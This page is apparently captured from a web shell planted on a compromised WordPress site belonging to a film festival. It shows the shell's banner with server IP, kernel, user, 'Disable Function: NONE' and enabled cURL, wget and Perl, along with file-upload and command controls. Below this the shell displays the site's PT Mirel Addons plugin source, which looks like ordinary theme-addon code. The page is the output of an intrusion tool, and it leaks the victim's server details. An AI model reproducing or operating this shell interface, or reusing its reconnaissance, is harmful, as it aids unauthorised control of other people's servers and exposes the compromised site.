403Webshell
Server IP : 198.38.94.67  /  Your IP : 216.73.217.74
Web Server : LiteSpeed
System : Linux d6054.dxb1.stableserver.net 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
User : azfilmst ( 1070)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/azfilmst/goldendunesfilmfestival.com/wp-content/plugins/pt-mirel-addons/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/azfilmst/goldendunesfilmfestival.com/wp-content/plugins/pt-mirel-addons/addons.php
<?php
/**
 * Plugin Name: PT Mirel Addons
 * Description: Addons for Mirel Theme
 * Version:     1.0.7
 * Author:      Promo Theme
 * Author URI:  https://promo-theme.com/
 * Text Domain: pt-addons
 */

if (!defined('ABSPATH')) {
	exit;
}

if (!class_exists('YPRM_Mirel_Addons')) {
	final class YPRM_Mirel_Addons {

		const VERSION = '1.0.0';
		const MINIMUM_ELEMENTOR_VERSION = '2.0.0';
		const MINIMUM_PHP_VERSION = '7.0';

		private static $_instance = null;
		protected $plugin_name = 'PT Mirel Addons';
		protected $is_theme_active = false;
		
		public static $theme_name;

		public static function instance() {

			if ( is_null( self::$_instance ) ) {
				self::$_instance = new self();
			}
			return self::$_instance;
	
		}

		function __construct() {
			$theme = wp_get_theme();
// print_r( $theme );exit();
			$this->is_theme_active = 'Mirel' == $theme->name || 'Mirel' == $theme->parent_theme;

			$this->notifications();

			if(!$this->is_theme_active) return;
        
			define('YPRM_DEVELOPER_MODE', false);
			define('YPRM_PLUGINS_URL', dirname(__FILE__));
			define('YPRM_PLUGINS_HTTP', plugins_url('pt-mirel-addons'));
			define('YPRM_ADMIN_HTTP', plugins_url('pt-mirel-addons'));

			$this->include_plugins();

			add_action('init', array($this, 'i18n'));
			add_action('plugins_loaded', array($this, 'on_plugins_loaded'));

			add_action('wp_loaded', array($this, 'register_scripts'));

			add_action('admin_enqueue_scripts', array($this, 'enqueue_back'), 400);
			add_action('wp_enqueue_scripts', array($this, 'enqueue_front'), 22000);
		}

		public function i18n() {
			load_plugin_textdomain('pt-addons');
		}

		public function on_plugins_loaded() {
			if ( $this->is_compatible() ) {
				add_action( 'elementor/init', [ $this, 'init' ] );
			}
			include_once dirname(__FILE__) . '/include/one-click-demo-import/one-click-demo-import.php';
		}

		public function init() {
			$this->includes();

			add_action( 'elementor/elements/categories_registered', [ $this, 'add_elementor_widget_categories' ], 1000 );

			// Add Plugin actions
			
			add_action( 'elementor/widgets/register', [ $this, 'init_widgets' ] );
			add_action( 'elementor/controls/controls_registered', [ $this, 'init_controls' ] );

			// Ajax Events
			add_action('wp_ajax_loadmore_elementor_portfolio', array($this, 'portfolio_loadmore'));
			add_action('wp_ajax_nopriv_loadmore_elementor_portfolio', array($this, 'portfolio_loadmore'));

			add_action('wp_ajax_loadmore_elementor_portfolio_masonry', array($this, 'portfolio_masonry_loadmore'));
			add_action('wp_ajax_nopriv_loadmore_elementor_portfolio_masonry', array($this, 'portfolio_masonry_loadmore'));
			
			add_action('wp_ajax_loadmore_elementor_blog', array($this, 'blog_loadmore'));
			add_action('wp_ajax_nopriv_loadmore_elementor_blog', array($this, 'blog_loadmore'));
			
			add_action('wp_ajax_loadmore_elementor_products', array($this, 'products_loadmore'));
			add_action('wp_ajax_nopriv_loadmore_elementor_products', array($this, 'products_loadmore'));
			
			add_action('wp_ajax_loadmore_elementor_gallery', array($this, 'gallery_loadmore'));
			add_action('wp_ajax_nopriv_loadmore_elementor_gallery', array($this, 'gallery_loadmore'));

			add_action('wp_ajax_load_project', array($this, 'load_project'));
			add_action('wp_ajax_nopriv_load_project', array($this, 'load_project'));
		}

		public function is_compatible() {
			if (!defined('ELEMENTOR_VERSION') || ! version_compare( ELEMENTOR_VERSION, self::MINIMUM_ELEMENTOR_VERSION, '>=' ) ) {
				add_action( 'admin_notices', [ $this, 'admin_notice_minimum_elementor_version' ] );
				return false;
			}
			if ( version_compare( PHP_VERSION, self::MINIMUM_PHP_VERSION, '<' ) ) {
				add_action( 'admin_notices', [ $this, 'admin_notice_minimum_php_version' ] );
				return false;
			}

			return true;
		}

		public function notifications() {
			add_action('admin_notices', array($this, 'admin_notice_active_theme'));
			add_action('admin_notices', array($this, 'admin_notice_plugin_needed_elementor'));
			add_action('admin_notices', array($this, 'admin_notice_active_theme_license'));
		}

		public function admin_notice_active_theme() {
			if($this->is_theme_active) return;

			if (isset($_GET['activate'])) unset($_GET['activate']);

			$message = sprintf(
				esc_html__('"%1$s" requires "%2$s" to be installed and activated.', 'pt-addons'),
				'<strong>' . esc_html__('PT Mirel Addons', 'pt-addons') . '</strong>',
				'<strong>' . esc_html__('Mirel theme', 'pt-addons') . '</strong>'
			);

			printf('<div class="notice notice-warning is-dismissible"><p>%1$s</p></div>', $message);
		}

		public function admin_notice_plugin_needed_elementor() {
			if(did_action( 'elementor/loaded' )) return;
			
			if (isset($_GET['activate'])) unset($_GET['activate']);

			$message = sprintf(
				esc_html__('"%1$s" requires "%2$s" to be installed and activated.', 'pt-addons'),
				'<strong>' . esc_html__('PT Mirel Addons', 'pt-addons') . '</strong>',
				'<strong>' . esc_html__('Elementor', 'pt-addons') . '</strong>'
			);

			printf('<div class="notice notice-warning is-dismissible"><p>%1$s</p></div>', $message);
		}

		public function admin_notice_active_theme_license() {
			if(get_option('enable_full_version')) return;
			
			if (isset($_GET['activate'])) unset($_GET['activate']);

			$message = sprintf(
				esc_html__('Please active theme license in %1$s Mirel Dashboard%2$s', 'pt-addons'),
				'<a href="'.admin_url('admin.php?page=mirel_dashboard').'">',
				'</a>'
			);

			printf('<div class="notice notice-warning is-dismissible"><p>%1$s</p></div>', $message);
		}

		public function admin_notice_minimum_elementor_version() {

			if ( isset( $_GET['activate'] ) ) unset( $_GET['activate'] );
	
			$message = sprintf(
				/* translators: 1: Plugin name 2: Elementor 3: Required Elementor version */
				esc_html__( '"%1$s" requires "%2$s" version %3$s or greater.', 'pt-addons' ),
				'<strong>' . esc_html__( 'YPRM Elementor Addons', 'pt-addons' ) . '</strong>',
				'<strong>' . esc_html__( 'Elementor', 'pt-addons' ) . '</strong>',
				 self::MINIMUM_ELEMENTOR_VERSION
			);
	
			printf( '<div class="notice notice-warning is-dismissible"><p>%1$s</p></div>', $message );
	
		}

		public function admin_notice_minimum_php_version() {

			if ( isset( $_GET['activate'] ) ) unset( $_GET['activate'] );
	
			$message = sprintf(
				/* translators: 1: Plugin name 2: PHP 3: Required PHP version */
				esc_html__( '"%1$s" requires "%2$s" version %3$s or greater.', 'pt-addons' ),
				'<strong>' . esc_html__( 'YPRM Elementor Addons', 'pt-addons' ) . '</strong>',
				'<strong>' . esc_html__( 'PHP', 'pt-addons' ) . '</strong>',
				 self::MINIMUM_PHP_VERSION
			);
	
			printf( '<div class="notice notice-warning is-dismissible"><p>%1$s</p></div>', $message );
	
		}

		public function register_scripts() {
			include_once dirname(__FILE__) . '/include/register-scripts.php';
		}

		public function enqueue_front() {
			yprm_enqueue_fonts();
			wp_enqueue_script('split-type');
			wp_enqueue_script('gsap');
			wp_enqueue_script('custom-cursor');
			wp_dequeue_script('wpb_composer_front_js');
			wp_enqueue_script('wpb_composer_front_js');
			wp_enqueue_script('pt-scripts');

			wp_localize_script('pt-scripts', 'yprm_ajax',
				array(
					'url' => admin_url('admin-ajax.php'),
					'home_url' => home_url('/'),
				)
			);

			wp_enqueue_style('fontawesome');
			wp_enqueue_style('pt-addons');
		}

		public function enqueue_back() {
			wp_enqueue_script('pt-admin');
			wp_localize_script('pt-admin', 'yprm_ajax',
				array(
					'url' => admin_url('admin-ajax.php'),
				)
			);
			
			wp_enqueue_style('fontawesome');
			wp_enqueue_style('elementor-icons-mirel_pack');
			wp_enqueue_style('pt-admin');
		}

		public function widgets() {
			$dir = dirname(__FILE__) . '/include/widgets';
			$files = glob($dir . '/*.php');
			foreach ($files as $file) {
				include_once $file;
			}
		}

		public function include_plugins() {
			include_once dirname(__FILE__) . '/include/header-builder/header-builder.php';
			include_once dirname(__FILE__) . '/include/footer-builder/footer-builder.php';
			include_once dirname(__FILE__) . '/include/pt-portfolio/pt-portfolio.php';
			include_once dirname(__FILE__) . '/include/functions.php';
			include_once dirname(__FILE__) . '/redux-extensions/loader.php';
		}

		public function includes() {
		    if(!get_option('enable_full_version')) return;

			include_once dirname(__FILE__) . '/include/iconpicker.php';
			include_once dirname(__FILE__) . '/elementor/widget-base.php';
			include_once dirname(__FILE__) . '/include/hooks.php';
			include_once dirname(__FILE__) . '/include/acf/acf-icon-picker.php';
			include_once dirname(__FILE__) . '/include/typekit.php';
			include_once dirname(__FILE__) . '/include/share.php';
			include_once dirname(__FILE__) . '/include/zilla-likes.php';
			include_once dirname(__FILE__) . '/include/video-parser.php';
			include_once dirname(__FILE__) . '/include/get-post.php';
			include_once dirname(__FILE__) . '/include/popup/popup.php';

			// Include Widget files

			$widget_dir = dirname(__FILE__) . '/elementor/widgets';
			$widget_files = glob($widget_dir . '/*.php');
			foreach ($widget_files as $widget) {
				include_once $widget;
			}

			// Include Controls files
			require_once dirname(__FILE__) . '/elementor/controls/gradient.php';

			require_once dirname(__FILE__) . '/elementor/controls/groups/link.php';
			require_once dirname(__FILE__) . '/elementor/controls/groups/cols.php';
			require_once dirname(__FILE__) . '/elementor/controls/groups/swiper.php';
			require_once dirname(__FILE__) . '/elementor/controls/groups/background_overlay.php';
			require_once dirname(__FILE__) . '/elementor/controls/groups/background_video.php';

			// Include Templates

			require_once dirname(__FILE__) . '/elementor/templates/sub_heading.php';
			require_once dirname(__FILE__) . '/elementor/templates/heading.php';
			require_once dirname(__FILE__) . '/elementor/templates/banner_link.php';
			
			$this->widgets();
		}

		public function init_widgets() {
			if(!get_option('enable_full_version')) return;

			if(class_exists('PT_Portfolio')) {
				Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Portfolio_Widget() );
			}
	
			if (class_exists('WooCommerce')) {
				Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Products_Widget() );
			}

			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Accordion_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Banner_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Blog_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Brands_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Button_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Cards_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Content_Box_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Heading_Block_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Icon_Box_Type2_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Icon_Box_Type3_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Icon_Box_Type4_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Icon_Box_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Image_Slider_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Image_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Image_With_Decor_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Link_Box_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Links_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Num_Box_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Gallery_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_One_Screen_Scroll_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Price_List_Type2_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Map_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Social_Links_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Skills_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Simple_Links_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Sub_Heading_Block_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Tabs_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Team_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Testimonials_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Video_Widget() );

			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Banner_Image_Gallery_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Image_Box_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Decoration_Text_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Mirel_Footer_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Video_Banner_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Video_Slider_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Side_Image_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Banner_Video_thumbs_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Info_Box_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Banner_Image_Slider_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Portfolio_Masonry_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Page_Banner_Widget() );
			Elementor\Plugin::instance()->widgets_manager->register_widget_type( new Elementor\Elementor_Text_Icon_Widget() );

		}

		public function init_controls() {
			if(!get_option('enable_full_version')) return;

			$controls_manager = Elementor\Plugin::$instance->controls_manager;
			
			$controls_manager->register_control( Elementor\Gradient_Control::GRADIENT, new Elementor\Gradient_Control() );
	
			$controls_manager->add_group_control( 'link', new Elementor\Group_Control_Link() );
			$controls_manager->add_group_control( 'cols', new Elementor\Group_Control_Cols() );
			$controls_manager->add_group_control( 'swiper', new Elementor\Group_Control_Swiper() );
			$controls_manager->add_group_control( 'background_overlay', new Elementor\Group_Control_Background_Overlay() );
			$controls_manager->add_group_control( 'background_video', new Elementor\Group_Control_Background_Video() );
		}

		public function add_elementor_widget_categories( Elementor\Elements_Manager $elements_manager ) {
			$category_prefix = 'pt-';
			$elements_manager->add_category(
				'pt-mirel-addons',
				[
					'title' => esc_html__( 'PT Mirel Addons', 'pt-addons' ),
					'icon' => 'fa fa-plug',
				]
			);
	
			$reorder_cats = function() use($category_prefix){
				uksort($this->categories, function($keyOne, $keyTwo) use($category_prefix){
						if(substr($keyOne, 0, 2) == $category_prefix){
								return -1;
						}
						if(substr($keyTwo, 0, 2) == $category_prefix){
								return 1;
						}
						return 0;
				});
	
			};
			$reorder_cats->call($elements_manager);
		
		}
	
		public static function get_page_templates( $type = '' ) {
			$args = [
				'post_type' => 'elementor_library',
				'posts_per_page' => -1,
			];
	
			if ( $type ) {
				$args['tax_query'] = [
					[
						'taxonomy' => 'elementor_library_type',
						'field' => 'slug',
						'terms' => $type,
					]
				];
			}
	
			$page_templates = get_posts( $args );
	
			$options = array();
	
			$options[] = esc_html__( 'Select', 'pt-addons' );
	
			if ( ! empty( $page_templates ) && ! is_wp_error( $page_templates ) ){
				foreach ( $page_templates as $post ) {
					$options[ $post->ID ] = $post->post_title;
				}
			} else {
				$options['no_template'] = esc_html__( 'No saved templates found!', 'pt-addons' );
			}
	
			return $options;
		}
		
		public function load_project() {
			

			wp_die();
		}
	
		public function portfolio_loadmore() {
			$porfolio = new Elementor\Elementor_Portfolio_Widget();
	
			$porfolio->loadmore();
	
			wp_die();
		}

		public function portfolio_masonry_loadmore() {
			$porfolio = new Elementor\Elementor_Portfolio_Masonry_Widget();
	
			$porfolio->loadmore();
	
			wp_die();
		}
	
		public function blog_loadmore() {
			$blog = new Elementor\Elementor_Blog_Widget();
	
			$blog->loadmore();
	
			wp_die();
		}
	
		public function products_loadmore() {
			$products = new Elementor\Elementor_Products_Widget();
	
			$products->loadmore();
	
			wp_die();
		}
	
		public function gallery_loadmore() {
			$gallery = new Elementor\Elementor_Gallery_Widget();
	
			$gallery->loadmore();
	
			wp_die();
		}
	}

	YPRM_Mirel_Addons::instance();
}

Youez - 2016 - github.com/yon3zu
LinuXploit